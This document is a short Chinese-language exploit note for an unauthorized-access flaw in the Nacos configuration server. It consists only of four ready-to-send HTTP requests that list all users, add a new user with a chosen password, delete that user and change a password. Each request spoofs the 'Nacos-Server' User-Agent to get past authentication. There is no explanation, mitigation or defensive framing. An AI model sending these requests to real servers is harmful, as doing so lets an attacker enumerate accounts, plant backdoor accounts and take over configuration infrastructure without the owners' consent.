nacos未授权漏洞

nacos未授权漏洞

查询用户

GET /nacos/v1/auth/users/?pageNo=1&pageSize=999 HTTP/1.1
Host: 127.0.0.1
User-Agent: Nacos-Server
Accept-Encoding: gzip

---

添加用户

POST /nacos/v1/auth/users/?username=admin123@&password=123456qwe HTTP/1.1
Host: 127.0.0.1
User-Agent: Nacos-Server
Content-Length: 0
Accept-Encoding: gzip

---

删除用户

DELETE /nacos/v1/auth/users/?username=admin123@ HTTP/1.1
Host: 127.0.0.1
User-Agent: Nacos-Server
Accept-Encoding: gzip

---

修改密码

PUT /nacos/v1/auth/users?accessToken=&username=admin123@&newPassword=66677799@ HTTP/1.1
Host: 127.0.0.1
User-Agent: Nacos-Server
Content-Length: 0
Accept-Encoding: gzip